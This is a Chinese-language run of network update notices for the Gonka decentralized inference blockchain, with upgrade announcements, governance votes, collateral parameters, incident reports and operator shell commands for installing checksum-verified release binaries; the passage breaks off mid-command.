目前，通过每笔链上交易处理推理会话限制了吞吐量。此设计将推理执行和验证移至指定的链下子组，而链仅负责会话创建和最终结算。
这故意是一个早期且受限的版本。它被提议用于主网审查和有限的生产测试，并非因为其被认为已完成，而是因为此类系统需要尽早暴露于真实网络环境中。某些类型的问题仅通过本地测试难以发现。当前实现已设计为避免对矿工奖励造成负面影响。
StartInference 和 FinishInference 性能改进
MsgStartInference 和 MsgFinishInference 的不必要状态写入和查询开销。在类似主网的条件下，这使得每个区块可容纳多达 100 倍的推理量，具体取决于工作负载和网络条件。 
升级前建议操作application.db 剪枝
强烈建议主机在升级前按照提供的说明对 application.db 进行剪枝。 提前执行此操作非常重要。如果许多节点推迟到升级后才进行剪枝，网络中将同时启动剪枝活动，造成可避免的操作压力。 剪枝说明详见此处。
浏览器更新
请主机更新仪表板/浏览器。请从 gonka/deploy/join 目录运行以下命令：
docker compose -f docker-compose.mlnode.yml -f docker-compose.yml pull explorer\ndocker compose -f docker-compose.mlnode.yml -f docker-compose.yml up -d explorer\nAPI 二进制文件 v0.2.10-post7 已可用
在 v0.2.10 中发现了一个潜在漏洞。为降低当前升级前阶段的风险，建议在下一次 PoC 开始前将 api 二进制文件升级至 v0.2.10-post7。
完整变更：https://github.com/gonka-ai/gonka/compare/main…release/v0.2.10-post7
应用更新：
# Pre-check: Ensure no confirmation PoC is active (fails entire script if not false)\necho \"--- Pre-flight Check: Confirmation PoC Status ---\" && \\\nCONFIRMATION_POC_ACTIVE=$(curl -sf \"https://node3.gonka.ai/v1/epochs/latest\" | jq -r '.is_confirmation_poc_active') && \\\n[ \"$CONFIRMATION_POC_ACTIVE\" = \"false\" ] && \\\necho \"OK: No confirmation PoC active\" && \\\n\n# Download Binary\nsudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.10-post7/ .dapi/data/upgrade-info.json && \\\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.10-post7/bin/ && \\\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-post7/decentralized-api-amd64.zip' && \\\necho \"71481e6f2c5f9a355ed283a0896833bcc8397e8bcda134a796a46467bd2ff3b0 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.10-post7/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.10-post7/bin/decentralized-api && \\\necho \"API Installed and Verified\" && \\\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .dapi/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.10-post7 .dapi/cosmovisor/current && \\\necho \"313df0747e090518ac052918ad23f9d6e70bb60dede2013375e322c23605f3e0 .dapi/cosmovisor/current/bin/decentralized-api\" | sudo sha256sum --check && \\\n# Restart \nsource config.env && docker compose up api --no-deps --force-recreate -d\n工具调用
工具调用 现已通过标准函数调用模式（type: “function”）提供支持。
集成流程很简单：
对于已使用代理层的团队，这可能是简化堆栈并依赖原生行为的好机会。实际上，这将带来更清晰的集成模式和更易维护的系统。
"}, {"location": "gonka/docs/zh/network-updates/#202636", "title": "2026年3月6日", "text": "注意：v0.2.11 升级预计将于下周初进入审核和治理投票阶段。
请密切关注并计划参与。投票是支持网络发展并确保升级与参与者实际需求保持一致的最简单方式之一。 如果您没有访问持有投票权的冷钱包密钥的权限，建议提前安排投票委托。请联系该密钥的所有者，请求他们授予您代为投票的权限。若无此授权，其他账户无法提交投票。
在此设置中：
被授权人仍可为自己账户投票。授权人可随时撤销此权限。
以下是用于授予、检查、使用和撤销投票委托的复制粘贴命令。
1) 授予投票权限（从授权人密钥运行）
命令示例响应./inferenced tx authz grant <GRANTEE_GONKA_ADDRESS> generic \\\n --msg-type=/cosmos.gov.v1beta1.MsgVote \\\n --from=<GRANTER_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --expiration=<UNIX_TIMESTAMP> \\\n --home .inference \\\n --keyring-backend file\n{\n \"height\": \"0\",\n \"txhash\": \"8D96FB6FC06FFB928FBC89FE950689CD040C7F338C197BA856175EC7462A3FFA\",\n \"codespace\": \"\",\n \"code\": 0,\n \"data\": \"\",\n \"raw_log\": \"\",\n \"logs\": [],\n \"info\": \"\",\n \"gas_wanted\": \"0\",\n \"gas_used\": \"0\",\n \"tx\": null,\n \"timestamp\": \"\",\n \"events\": []\n}\n2) 验证授权是否存在（在任意节点上运行）
Command示例响应./inferenced query authz grants <GRANTER_GONKA_ADDRESS> <GRANTEE_GONKA_ADDRESS> \\\n --node=\"http://<MAINNET_NODE_URL>:26657\" \\\n --output=json | jq .\n{\n \"grants\": [\n {\n \"authorization\": {\n \"type\": \"cosmos-sdk/GenericAuthorization\",\n \"value\": {\n \"msg\": \"/cosmos.gov.v1beta1.MsgVote\"\n }\n },\n \"expiration\": \"2026-12-03T18:38:18Z\"\n }\n ],\n \"pagination\": {\n \"total\": \"1\"\n }\n}\n3) 使用被授权方投票
Command示例响应# Find the proposal ID which you are voting for - use it as <VOTE_PROPOSAL_ID> in the voting body \n./inferenced query gov proposals --output json\n\n# Prepare the file with the voting body\ncat > /tmp/authz-vote.json << 'EOF'\n{\n \"body\": {\n \"messages\": [\n {\n \"@type\": \"/cosmos.authz.v1beta1.MsgExec\",\n \"grantee\": \"<GRANTEE_GONKA_ADDRESS>\",\n \"msgs\": [\n {\n \"@type\": \"/cosmos.gov.v1beta1.MsgVote\",\n \"proposal_id\": \"<VOTE_PROPOSAL_ID>\",\n \"voter\": \"<GRANTER_GONKA_ADDRESS>\",\n \"option\": \"VOTE_OPTION_YES\"\n }\n ]\n }\n ]\n }\n}\nEOF\n\n\n# Vote using the file \n./inferenced tx authz exec /tmp/authz-vote.json \\ --from=<GRANTEE_KEY_NAME> \\ \n--chain-id=gonka-mainnet \\\n--home .inference \\\n--keyring-backend file \\\n--node=\"http://<MAINNET_NODE_URL>:26657\" -y\n{\n \"pagination\": {\n \"total\": \"1\"\n },\n \"proposals\": [\n {\n \"deposit_end_time\": \"2026-03-06T10:40:07.016920026Z\",\n \"final_tally_result\": {\n \"abstain_count\": \"0\",\n \"no_count\": \"0\",\n \"no_with_veto_count\": \"0\",\n \"yes_count\": \"0\"\n },\n \"id\": \"1\",\n \"messages\": [\n {\n \"type\": \"cosmos-sdk/MsgSoftwareUpgrade\",\n \"value\": {\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"height\": \"406062\",\n \"info\": \"{\\n \\\"binaries\\\":{\\n \\\"linux/amd64\\\":\\\"https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-testnet1/inferenced-amd64.zip?checksum=sha256:fb71310427436aebac32813735231882fca420cf0d94b036f8cacd055d0e1c78\\\"\\n },\\n \\\"api_binaries\\\":{\\n \\\"linux/amd64\\\":\\\"https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-testnet1/decentralized-api-amd64.zip?checksum=sha256:6fe214f4bb2d831c02ce407682820d95d01e6ae94a33fe9c4617b80e0ca716ce\\\"\\n }\\n }\",\n \"name\": \"v0.2.10\",\n \"time\": \"0001-01-01T00:00:00Z\"\n }\n }\n }\n ],\n \"proposer\": \"gonka1xfvr8mywcrxrcrryvj8c5d2grvyjdj5c90fd88\",\n \"status\": 2,\n \"submit_time\": \"2026-03-04T10:40:07.016920026Z\",\n \"summary\": \"Upgrade Proposal v0.2.10\",\n \"title\": \"Upgrade Proposal v0.2.10\",\n \"total_deposit\": [\n {\n \"amount\": \"50000000\",\n \"denom\": \"ngonka\"\n }\n ],\n \"voting_end_time\": \"2026-03-04T10:50:07.016920026Z\",\n \"voting_start_time\": \"2026-03-04T10:40:07.016920026Z\"\n }\n ]\n}\n投票选项：
VOTE_OPTION_YESVOTE_OPTION_ABSTAINVOTE_OPTION_NOVOTE_OPTION_NO_WITH_VETO4) 撤销委托（从授权方密钥运行）
Command示例响应./inferenced tx authz revoke <GRANTEE_GONKA_ADDRESS> /cosmos.gov.v1beta1.MsgVote \\\n --from=<GRANTER_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --home .inference \\\n --keyring-backend file\n{\n code: 0\n codespace: \"\"\n data: \"\"\n events: []\n gas_used: \"0\"\n gas_wanted: \"0\"\n height: \"0\"\n info: \"\"\n logs: []\n raw_log: \"\"\n timestamp: \"\"\n tx: null\n txhash: A2C3CDA9E95DCF143C0D8981A4F573F1E68879ECF4903B25BA97383C3F2FDFBA\n}\nAPI 二进制文件 v0.2.10-post3 已发布
API 二进制文件的新版本已发布。它更新了连接超时处理，并在 PoC 验证管道中引入了额外的检查。
PR: https://github.com/gonka-ai/gonka/pull/785
构建：https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-post3/decentralized-api-amd64.zip
应用更新：
# Pre-check: Ensure no confirmation PoC is active (fails entire script if not false)\necho \"--- Pre-flight Check: Confirmation PoC Status ---\" && \\\nCONFIRMATION_POC_ACTIVE=$(curl -sf \"https://node3.gonka.ai/v1/epochs/latest\" | jq -r '.is_confirmation_poc_active') && \\\n[ \"$CONFIRMATION_POC_ACTIVE\" = \"false\" ] && \\\necho \"OK: No confirmation PoC active\" && \\\n\n# Download Binary\nsudo rm -rf decentralized-api.zip .dapi/cosmovisor/upgrades/v0.2.10-post3/ .dapi/data/upgrade-info.json && \\\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.10-post3/bin/ && \\\nwget -q -O decentralized-api.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-post3/decentralized-api-amd64.zip' && \\\necho \"1b75f2785c7884dc24f3c1e39d5ed10f4afcbe5fc677f5569d90d75c752ec150 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.10-post3/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.10-post3/bin/decentralized-api && \\\necho \"API Installed and Verified\" && \\\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .dapi/cosmovisor/current && \\\nsudo ln -sf upgrades/v0.2.10-post3 .dapi/cosmovisor/current && \\\necho \"de72c665ff71de904210c5472cebb248d163c1398141868e1a1fe198055b5886 .dapi/cosmovisor/current/bin/decentralized-api\" | sudo sha256sum --check && \\\n# Restart \nsource config.env && docker compose up api --no-deps --force-recreate -d\n建议（可选）：vLLM / mlnode 构建在 PoC 开始时中断正在进行的请求
现已提供新的 vLLM / mlnode 构建，可在 PoC 开始时中断正在进行的推理请求，以降低因 PoC 开始时仍处于活跃状态的请求导致潜在权重下降的风险。
来源：https://github.com/gonka-ai/vllm/tree/release/v0.9.1-pocv2-post5/vllm
建议尝试的镜像：
备注：
抵押参数更新提案——投票结果
抵押参数更新提案未达到法定人数，因此根据当前治理规则被否决。这意味着更新后的参数将不会激活。
如前所述，第180个周期的抵押激活与此投票无关。
由于提案未通过，创世时定义的抵押参数将在第180个周期自动生效。
参与者应：
抵押激活是协议从宽限期过渡到完全抵押的 PoC 权重模型的一部分。治理仍是调整参数的机制，但若未批准替代方案，则默认规则生效。
!!! note \"重要：存入时预留缓冲**
强烈建议参与者**不要**存入精确的最低金额。由于归一化效应和网络级调整，PoC 权重在各周期间可能波动。较小的权重可能经历相对更大的波动。为避免在周期边界出现临时抵押不足，建议在抵押水平相对较低时存入高达计算最低要求2倍的金额。这可提供操作安全性，防止因微小参数变动导致意外权重降低。协议不会自动补充抵押。\n\n如果社区希望再次修订参数，可能会提出进一步提案。\nPoC 权重归一化更新
在最近升级后，节点权重因 PoC 持续时间归一化而调整。 为使 PoC 权重与实际区块生成时间对齐，校准参数基于观察到的区块间隔选定。如实施所示，有效的 PoC 参考窗口比先前名义假设长约5个区块。
因此：
原因
此前，PoC 权重计算依赖于名义周期持续时间假设。引入实时归一化后：
由于有效归一化窗口比早期名义模型长约5个区块，每个周期重新计算的权重成比例降低。
观察到的 GPU 权重变化（第175周期 → 第176周期）
GPU 类型 第175轮 第176轮 变化 A100-PCIE-40GB 11.8 10.0 -15.4% A100-SXM4-80GB 132.2 107.8 -18.5% H100 80GB HBM3 305.1 254.5 -16.6% H100 PCIe 178.9 155.7 -12.9% H200 319.6 281.3 -12.0%追踪器（仪表板）维护人员操作
由于采用了PoC持续时间归一化，有效参考窗口现在比之前的名义假设长约5个区块，从第176轮开始的权重值反映了更新的计算模型。 从PoC权重推导H100等效容量或奖励预测的追踪器和仪表板，应从第176轮起验证其转换系数。 如果仍使用归一化前的假设，显示的硬件等效值和预测奖励可能被高估。
"}, {"location": "gonka/docs/zh/network-updates/#2026218", "title": "2026年2月18日", "text": "升级已执行：v0.2.10 现已在主网上线
升级提案 v0.2.10 的链上治理投票已结束。该提案已获批准，并已在主网上成功执行。此升级对PoC验证进行了重大优化，并实现了实时权重归一化，以提高网络的公平性和可扩展性。
注意
必须重启ML节点容器以触发模型重新部署。运行：
docker restart join-mlnode-1\nmlnode:3.0.12-post4-* 应在升级中引入的3000个区块宽限期结束前完成。 兼容性说明
此次升级包括迁移至 IBC 栈 v8.7.0。请检查任何解析 inferenced CLI 输出的脚本。枚举和 int64/uint64 值现在以字符串形式编码。
当前生效的关键变更PoC 验证采样优化
此升级引入了一种新的 PoC 验证机制，通过为每个参与者分配一组固定的采样验证者，将复杂度从 O(N^2) 降低至 O(N x N_SLOTS)。
基于实时的 PoC 权重归一化
此升级根据实际的 PoC 经过时间对 PoC 参与者权重进行归一化，以减少区块时间漂移效应，并确保权重结果与实际执行时长一致。
启用 Qwen235B 工具
此升级为 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 添加了工具调用参数（ --enable-auto-tool-choice 、 --tool-call-parser hermes ），并设置验证阈值为 0.958。 要启用工具，必须重启 MLNode 容器内的 vLLM。
其他协议更新
宽限期： 升级后引入了 3000 个区块的宽限期，期间不进行确认 PoC，并对升级当期的错过率和无效率阈值放宽要求。
有关这些变更的更多详细信息，请参见治理文档：https://github.com/gonka-ai/gonka/blob/upgrade-v0.2.10/proposals/governance-artifacts/update-v0.2.10/README.md
"}, {"location": "gonka/docs/zh/network-updates/#2026218_1", "title": "2026年2月18日", "text": "抵押参数更新提案现已开放投票
更新抵押参数的提案已发布供社区投票。
建议参数：
这意味着，在单个周期内，即使被惩罚，矿工最多只能损失其抵押品的 0.5%。而所需抵押品仅占日奖励的约 24%。
警告： 抵押参数将无论投票结果如何均生效。如果本提案未通过，创世时定义的抵押参数将在第 180 个周期自动激活，而非上述参数。
投票结束后、第 180 个周期前，每位矿工必须按照说明将所需资金转入抵押。否则，从第 180 个周期开始，其奖励将减少至原来的 1/5。
获取更新参数：
export NODE_URL=https://node3.gonka.ai/\ndiff -u \\\n <(./inferenced query inference params -o json --node $NODE_URL/chain-rpc/ | jq '.params') \\\n <(./inferenced query gov proposal 28 -o json --node $NODE_URL/chain-rpc/ | jq '.proposal.messages[] | select(.\"type\"==\"inference/x/inference/MsgUpdateParams\") | .value.params') \\\n || true\n投票方式（yes、no、abstain、no_with_veto）：
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 28 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\n查看投票状态：
export NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 28 -o json --node $NODE_URL/chain-rpc/\n投票将于 2026 年 2 月 19 日 07:27:06 UTC 结束。
"}, {"location": "gonka/docs/zh/network-updates/#2026217", "title": "2026年2月17日", "text": "v0.2.10 升级提案进入治理阶段
下一个链上软件版本 v0.2.10 的升级提案现已上链并开放投票。若获批准，该提案将引入一项重要的 PoC 验证优化（默认禁用），并实现基于实时的权重归一化，以提升网络公平性与可扩展性。
关键变更PoC 验证采样优化
此升级引入了一种新的 PoC 验证机制，通过为每个参与者分配一组固定的采样验证者，将复杂度从 O(N^2) 降低至 O(N x N_SLOTS)。
基于实时的 PoC 权重归一化
此升级通过实际PoC耗时标准化参与者权重，以减少区块时间漂移影响，并使权重结果与真实执行时长保持一致。
启用Qwen235B工具
此升级为Qwen/Qwen3-235B-A22B-Instruct-2507-FP8添加了工具调用参数（--enable-auto-tool-choice、--tool-call-parser hermes），并设置验证阈值0.958。 为启用工具，必须重启MLNode容器内的vLLM。升级引入了一个为期3000个区块的宽限期，在此期间无确认PoC，并且对升级当期的错过率和无效率阈值进行了放宽。
其他协议更新
ghcr.io/product-science/mlnode:3.0.12-post4 / ghcr.io/product-science/mlnode:3.0.12-post4-blackwell。有关这些及其他变更的更多详细信息，请参阅治理文档 https://github.com/gonka-ai/gonka/blob/upgrade-v0.2.10/proposals/governance-artifacts/update-v0.2.10/README.md
升级执行后所需的主机操作
如果提案获得批准并执行升级，必须重启ML Node容器以触发模型重新部署。运行：
docker restart join-mlnode-1\nmlnode:3.0.12-post4-*应在升级引入的3000区块宽限期内完成。 如何投票
提案详情和投票可通过inferenced进行。任何活跃节点均可使用。可用节点包括：
投出您的投票（yes、no、abstain、no_with_veto）：
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 27 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\n要查看投票状态：
export NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 27 -o json --node $NODE_URL/chain-rpc/\n注意
inferenced CLI输出的脚本。由于IBC堆栈升级至v8.7.0，枚举和int64/uint64值现在以字符串形式编码。.inference/data目录中创建完整状态备份；请确保有足够的磁盘空间。有关如何安全删除.inference目录中的旧备份的指导，请参阅文档。application.db占用大量磁盘空间，可应用此处描述的清理技术。抵押激活及建议初始参数
距离第180个周期不足7天，现在是准备的时候了。
正如AMA期间讨论并基于社区成员提出的论点，建议初始抵押要求较低，惩罚机制也尽量最小化。
将提交供社区投票的参数：
这意味着即使在一个周期内被惩罚，矿工损失的抵押品也不会超过0.5%。所需抵押仅占日收益的约24%。
提案提交投票后将另行公告。
警告：抵押品将无论提案投票结果如何都生效。如果此提案未通过，创世中定义的抵押参数将在第180个纪元自动激活，而不是上述列出的参数。
任何未来的抵押品增加都将通过单独的投票提出。目标是观察网络稳定性，并确保不公正的惩罚罕见且仅在有充分理由时适用。如果证明稳定性良好，逐步将抵押品增加到代币经济白皮书中描述的水平（例如，每块H100约100 GNK）将支持网络的长期成功。
"}, {"location": "gonka/docs/zh/network-updates/#2026213", "title": "2026年2月13日", "text": "即将进行的v0.2.10升级投票与执行时间表
即将进行的软件升级v0.2.10的链上投票期预计将于周日晚上（洛杉矶时间）/ 周一早晨（UTC）开始。 如果提案通过治理批准，升级计划于周二执行。
大致时间表：
请在GitHub上审阅v0.2.10升级PR并留下您的反馈。有意义的审阅贡献可能在下一次升级中获得奖励。
https://github.com/gonka-ai/gonka/pull/695
"}, {"location": "gonka/docs/zh/network-updates/#2026213_1", "title": "2026年2月13日", "text": "如果您节点未能及时应用最新升级，可能在区块2628371处因共识失败而停止运行。这是因为节点运行的是不再与网络兼容的旧版二进制文件。要恢复，请遵循本指南：https://gonka.ai/FAQ/#recovery-guide-consensus-failure-after-missing-patch
"}, {"location": "gonka/docs/zh/network-updates/#2026212", "title": "2026年2月12日", "text": "网络更新：补丁已发布（PoC / cPoC重叠）
现已发布补丁以解决当前纪元（169/170）中观察到的事件。
需要采取的行动
请主机尽快应用补丁，以确保正确的PoC验证行为并安全恢复区块生产。
# Download Binary\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.9-post3/ .inference/data/upgrade-info.json\nsudo mkdir -p .inference/cosmovisor/upgrades/v0.2.9-post3/bin/\nwget -q -O inferenced.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.9-post3/inferenced-amd64.zip' && \\\necho \"59896da31f4e42564fc0a2f63a9e0bf4f25f240428f21c0d5191b491847553df inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.9-post3/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.9-post3/bin/inferenced && \\\necho \"Inference Installed and Verified\"\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .inference/cosmovisor/current\nsudo ln -sf upgrades/v0.2.9-post3 .inference/cosmovisor/current\necho \"aaffbbdc446fbe6832edee8cb7205097b2e5618a8322be4c6de85191c51aca1d .inference/cosmovisor/current/bin/inferenced\" | sudo sha256sum --check && \\\n\n# Restart \nsource config.env && docker compose up node --no-deps --force-recreate -d\nhttps://github.com/gonka-ai/gonka/pull/748
"}, {"location": "gonka/docs/zh/network-updates/#2026212_1", "title": "2026年2月12日", "text": "网络事件：PoC / cPoC重叠（区块生产暂停）
在当前纪元中观察到cPoC（确认PoC）与PoC之间的重叠。在纪元最后一个区块之前，is_confirmation_poc_active被观察为true。
此重叠的影响正在评估中。初步观察表明，没有节点记录PoC提交，导致该纪元累积权重为零。
作为预防措施，矿工通过协调行动暂时停止了区块生产。
问题正在定位中。
请保持在线，以便在需要时立即应用补丁。更多详细信息和补丁说明将在准备就绪后发布。
"}, {"location": "gonka/docs/zh/network-updates/#2026212_2", "title": "2026年2月12日", "text": "推理功能现已可用
链上推理访问目前开放，不限于开发者。推理请求可通过上一次更新中引入的允许传输代理发送。当前允许列表可通过链上查询：
curl \"http://node2.gonka.ai:8000/chain-api/productscience/inference/inference/params\" | jq '.params.transfer_agent_access_params.allowed_transfer_addresses'\n gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\n gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\n gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\n gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\n gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\n gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\n gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\n注意： 如果某个地址未包含在允许列表中，则通过该地址路由的推理请求在当前配置下将不被接受。
"}, {"location": "gonka/docs/zh/network-updates/#2026210", "title": "2026年2月10日", "text": "PR 审查：升级 v0.2.10
拉取请求 已开放供审查，用于下一次链上软件升级 v0.2.10。欢迎提供反馈和改进建议。当前计划是将审查窗口保持约两天。
针对此 PR 审查的有意义贡献，可能在下一次升级中提出奖励。
本次仅为拉取请求的审查呼吁，并非正式投票的开始。治理投票流程将在审查期结束后启动。
关键变更PR #710 PoC 验证采样优化
此升级引入了一种新的 PoC 验证机制，通过为每个参与者分配固定的采样验证者集合，将复杂度从 O(N^2) 降低至 O(N x N_SLOTS)。参考设计与分析：https://github.com/gonka-ai/gonka/blob/upgrade-v0.2.10/proposals/poc/optimize.md
PR #725 按实际 PoC 时间标准化 PoC 权重
此升级通过实际 PoC 已用时间标准化参与者权重，以减少区块时间漂移影响，并确保权重结果与实际执行时长一致。
其他关键变更：
API 强化与可靠性修复：
http.MaxBytesReader 并对齐测试。InvalidateInference 中传播退款错误。升级计划
二进制版本将通过链上升级提案进行更新。有关升级流程的更多信息，请参阅 https://github.com/gonka-ai/gonka/blob/upgrade-v0.2.10/docs/upgrades.md.
现有主机无需升级其 api 和 node 容器。更新后的容器版本仅适用于在链上升级完成后加入的新主机。
建议流程
从upgrade-v0.2.10分支创建发布版本（而非main）可最小化main分支上/deploy/join/目录中容器版本与链上二进制版本不匹配的时间，从而为新主机提供更顺畅的接入体验。
测试与迁移
v0.2.10的测试指南和迁移详情请参见此处。请仔细审阅。
兼容性说明
如果您有任何解析inferenced CLI JSON输出的脚本，请在此升级后重新检查。由于ibc-go升级到v8.7.0，枚举现在以字符串形式编码而非数字，int64/uint64值现在也以字符串形式编码。
CLI更新提醒
为授予v0.2.9升级后创建的热密钥权限，应使用CLI版本v0.2.9。
"}, {"location": "gonka/docs/zh/network-updates/#202623", "title": "2026年2月3日", "text": "PoC v2 基于推理的权重调整
在PoC v2激活后，权重分配现在基于当前模型Qwen/Qwen3-235B-A22B-Instruct-2507-FP8的实测推理性能。因此，中位GPU权重以及GPU类型间的相对权重比例均已调整。
观察到的GPU权重变化（第158轮→第159轮）
GPU类型 第158轮 第159轮 变化 A100-PCIE-40GB 129.05 17.31 -86.6% A100-SXM4-80GB 204.12 127.75 -37.4% B200 739.81 300.75 -59.3% H100 80GB HBM3 424.73 292.88 -31.0% H100 PCIe 307.03 144.53 -52.9% H200 512.38 303.88 -40.7%上下文
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8的观测推理行为一致。Qwen/Qwen3-235B-A22B-Instruct-2507-FP8进行的控制推理基准测试，显示了与PoC v2中观测到的相同GPU类型间的相对性能差异。跟踪器（仪表板）维护人员的操作
在更新的权重分配生效后，跟踪器（仪表板）维护人员可能希望审查第159期及之后的系数，以确保与当前PoC v2权重分配保持一致。
"}, {"location": "gonka/docs/zh/network-updates/#202622", "title": "2026年2月2日", "text": "网络更新——补丁可用
现已提供补丁以解决导致PoC周期内区块验证暂停的问题。建议主机尽快应用补丁，以确保正确的PoC验证行为并安全恢复区块生产。
需要采取的操作
请主机尽快应用补丁，以确保正确的PoC验证行为并安全恢复区块生产。
# Download Binary\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.9-post2/ .inference/data/upgrade-info.json\nsudo mkdir -p .inference/cosmovisor/upgrades/v0.2.9-post2/bin/\nwget -q -O inferenced.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.9-post2/inferenced-amd64.zip' && \\\necho \"8de51bdd1d2c0af5f1da242e10b39ae0ceefd215f94953b9d95e9276f7aa70c7 inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.9-post2/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.9-post2/bin/inferenced && \\\necho \"Inference Installed and Verified\"\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .inference/cosmovisor/current\nsudo ln -sf upgrades/v0.2.9-post2 .inference/cosmovisor/current\necho \"75410178a4c3b867c0047d0425b48f590f39b9e9bc0f3cf371d08670d54e8afe .inference/cosmovisor/current/bin/inferenced\" | sudo sha256sum --check && \\\n\n# Restart \nsource config.env && docker compose up node --no-deps --force-recreate -d\n为预防措施，区块验证已暂停
由于在当前的PoC周期中验证阈值可能无法达成的高风险，主机们集体采取了预防性措施，暂停了区块验证。 根据当前评估，旨在处理此情况的机制可能无法按预期运行。为防止在不确定或不安全条件下完成验证器最终确认，网络在验证器选择前已停止运行。
下一步
以下操作当前正在进行中：
需要采取的行动
所有主机必须随时准备安装补丁。 请保持在线并密切关注公告。一旦补丁准备就绪，将立即分享进一步说明。
"}, {"location": "gonka/docs/zh/network-updates/#202621", "title": "2026年2月1日", "text": "升级已执行：v0.2.9 现已在主网上线
升级提案 v0.2.9 的链上治理投票已结束。该提案已获批准，并于区块 2451000 成功在主网上执行。此升级实现了 PoC v2 权重分配机制，并完成了向传统 PoC 机制的过渡。
注意
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 的 ML 节点有资格进入下一个（159）纪元并参与 PoC v2 权重分配。运行其他模型的 ML 节点将不会被纳入下一纪元的参与集合。主机准备
建议主机验证所有 ML 节点：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8有关如何将 ML 节点切换至 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8、升级 ML 节点镜像以及移除其他模型的指导，请参阅 常见问题解答。
当前生效的关键变更PoC v2 激活
模型配置
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Qwen/Qwen3-235B-A22B-Instruct-2507-FP8资格标准
ML 节点要符合 PoC v2 权重分配资格，必须同时满足以下两个条件：
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8cPoC 情况下的奖励流程修正
在因 cPoC 惩罚而减少或排除奖励的情况下，未计入的部分将转移至社区池。此前，此类奖励会重新分配给其他参与者。
其他协议更新
allowlistallowlist中移除有关这些变更的更多详细信息请参见治理工件：https://github.com/gonka-ai/gonka/tree/upgrade-v0.2.9/proposals/governance-artifacts/update-v0.2.9
"}, {"location": "gonka/docs/zh/network-updates/#202621_1", "title": "2026年2月1日", "text": "v0.2.9升级提案的链上治理流程即将结束。
鼓励主机查看GitHub上的提案并参与投票。
提前预下载二进制文件有助于避免在升级窗口期内依赖GitHub的可用性。
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.9/bin \\\n .inference/cosmovisor/upgrades/v0.2.9/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.9/decentralized-api-amd64.zip\" && \\\necho \"ac1ad369052a8c3d01af4d463c49cdd16fcbecc365d201232e7a2d08af8501c0 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.9/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.9/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.9/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.9/inferenced-amd64.zip\" && \\\necho 